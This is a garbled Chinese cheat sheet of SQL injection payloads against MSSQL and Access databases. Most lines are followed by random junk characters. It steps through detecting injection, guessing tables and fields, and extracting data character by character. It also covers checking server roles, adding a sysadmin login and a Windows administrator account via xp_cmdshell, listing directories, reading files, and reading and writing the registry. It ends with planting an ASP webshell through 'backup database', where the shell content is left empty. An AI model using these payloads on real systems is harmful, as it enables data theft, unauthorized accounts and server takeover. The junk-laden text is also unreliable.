1.判断是否有注入;and 1=1 ;and 1=2 }JBLzk5|
2.初步判断是否是mssql ;and user>0 ^eWD4Vp|4
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3.注入参数是字符'and [查询条件] and ''=' q{oppali
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' W&0KO-}ot
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5.判断数据库系统 o51jw(wO
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;and (select count(*) from sysobjects)>0 mssql U>kL|X3 V
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;and (select count(*) from msysobjects)>0 access 6J%yo[A(w
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ir3EA'_>N
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 y j C@
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 \#)w$O
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9.(1)猜字段的ascii值(access) 5IiZnGu
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 :B]yreg
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(2)猜字段的ascii值(mssql) @t?uhT*Z=
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 H)l7:a
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10.测试权限结构(mssql) /%w3(e
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- :f5"w+
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- "Z*u2_ H
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- uiIS4S_
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C;NG#4;'
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- (S1Co&SX
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 9&}i[x4
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;and 1=(select IS_MEMBER('db_owner'));-- N.@@ebuE
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11.添加mssql和系统的帐户 |QB[f*y5
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;exec master.dbo.sp_addlogin username;-- >crFIkOJ
;exec master.dbo.sp_password null,username,password;-- 24Uvi:B?~
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- UCVdR<<Z
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;exec master.dbo.xp_cmdshell 'net user username password 5'zD}[2
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- u</LgOP`-
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- R /0zB
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- *'jI>^o
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12.(1)遍历目录 pDV8B/{
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;create table dirs(paths varchar(100), id int) /@QPJ~%8Ud
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;insert dirs exec master.dbo.xp_dirtree 'c:\' N(=Z4Nk5
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;and (select top 1 paths from dirs)>0 %UokR"
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) @\s*f7
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(2)遍历目录 ee\QK,QV
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- -"~XI~a@Wo
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {7Q)2NC
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 tqXr6+!Q
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 ^9fY%98
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 Vc*"Q8aZ~
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13.mssql中的存储过程 7w51UmO
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xp_regenumvalues 注册表根键, 子键 ~
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 }NpN<C+
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xp_regread 根键,子键,键值名 )wyC8` &-
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;exec xp_regread 7*\CfqrU
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 q@[UeXu?pZ
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xp_regwrite 根键,子键, 值名, 值类型, 值 s&7TARd
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ( we)0AxF'
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 B|SE |
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xp_regdeletevalue 根键,子键,值名 c$^~7.~{Qy
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 *w$3/
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 9oQ$w?=#$
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14.mssql的backup创建webshell *%CDQx0}
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use model i+ICgMcd
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create table cmd(str image); ^?5HagA
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insert into cmd(str) values (''); +;/ s0
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backup database model to disk='c:\l.asp'; hg2UZ%
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15.mssql内置函数 $O_{cSKg7
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;and (select @@version)>0 获得Windows的版本号 P:%r3F
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa T^Ol=QCu
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;and (select user_name())>0 爆当前系统的连接用户
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;and (select db_name())>0 得到当前连接的数据库 s"5wnp6pW
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16.简洁的webshell "7J38Ej\
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use model B$ jX%e{:S
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create table cmd(str image); 0+T:};]
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insert into cmd(str) values (''); ),J6:O&
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backup database model to disk='g:\wwwtest\l.asp';